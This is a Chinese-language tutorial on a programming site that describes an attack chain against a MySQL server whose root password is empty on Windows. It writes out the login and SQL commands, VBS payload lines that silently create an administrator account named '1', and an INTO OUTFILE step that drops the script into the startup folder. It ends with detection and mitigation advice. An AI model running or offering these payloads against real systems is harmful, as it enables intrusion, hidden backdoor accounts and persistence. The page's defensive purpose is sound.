首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

MySQL 弱口令 Root 利用鏈:從匿名登入到系統級 Webshell 植入

     編輯:MySQL 資料庫相關知識

攻擊場景復盤

目標:MySQL Root 空密碼 + Windows 主機 + 啟動目錄可寫。攻擊鏈:匿名登入 → 建表寫入 VBS 腳本 → INTO OUTFILE 落地啟動目錄 → 等待重啟觸發 → 獲取 Administrator 權限。

逐步技術拆解

1. 匿名連線與偵察

mysql -u root -h 192.168.0.1
SHOW DATABASES;
USE test;
SHOW TABLES;

2. 構造惡意 VBS Payload

建立單列表 a(cmd TEXT),分三次 INSERT 寫入 VBS 片段:

INSERT INTO a VALUES ('Set wshShell = CreateObject("WScript.Shell")');
INSERT INTO a VALUES ('a = wshShell.Run("cmd.exe /c net user 1 1 /add", 0)');
INSERT INTO a VALUES ('b = wshShell.Run("cmd.exe /c net localgroup Administrators 1 /add", 0)');
  • 0 參數隱藏命令行窗口
  • 雙引號轉義為 "" 以適配 SQL 字符串
  • 最終生成 net user 1 1 /add 建立用戶、net localgroup Administrators 1 /add 提權

3. 落地啟動目錄實現持久化

SELECT * FROM a 
INTO OUTFILE "c:\\docume~1\\alluse~1\\「開始」菜單\\程序\\啟動\\a.vbs";

利用短文件名繞過空格與中文路徑問題。下次管理員登入即自動執行,完成提權。

為何選 VBS 而非 BAT?

  • BAT 執行會彈出黑框,極易被發現
  • WScript.Shell 的 Run(..., 0) 完全隱藏窗口,無錯誤提示
  • 啟動目錄腳本權限繼承登入用戶 (此處為 Administrator)

防禦斷鏈策略

現代檢測視角

  • SQL 審計:記錄 INTO OUTFILE、CREATE TABLE、大量 INSERT 異常模式
  • 文件監控:啟動目錄、計劃任務、註冊表 Run 鍵值變更告警
  • 行為分析:net user /add、net localgroup administrators /add 等提權命令鏈檢測

結語

這是一條經典的「配置失誤 → 代碼執行 → 權限提升」殺鏈。核心教訓:**資料庫絕不應以高權限、弱認憑、開放網絡暴露**,且作業系統層面需實施最小權限與啟動項完整性保護。定期滲透測試驗證防禦深度,方能阻斷此類攻擊路徑。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved
環節風險緩解措施
Root 空密碼匿名完全控制安裝即執行 mysql_secure_installation,強制複雜密碼
遠程 Root 登入攻擊面擴大bind-address=127.0.0.1 或防火牆限制 3306 來源 IP
FILE 權限任意文件寫入Web 應用帳號移除 FILE 權限;secure_file_priv 限制導出目錄
啟動目錄寫入權限持久化落地普通用戶不可寫入 All Users 啟動目錄;啟用 AppLocker/WDAC
服務重啟依賴觸發條件監控關鍵目錄文件變更 (Sysmon/EDR);禁止非計劃重啟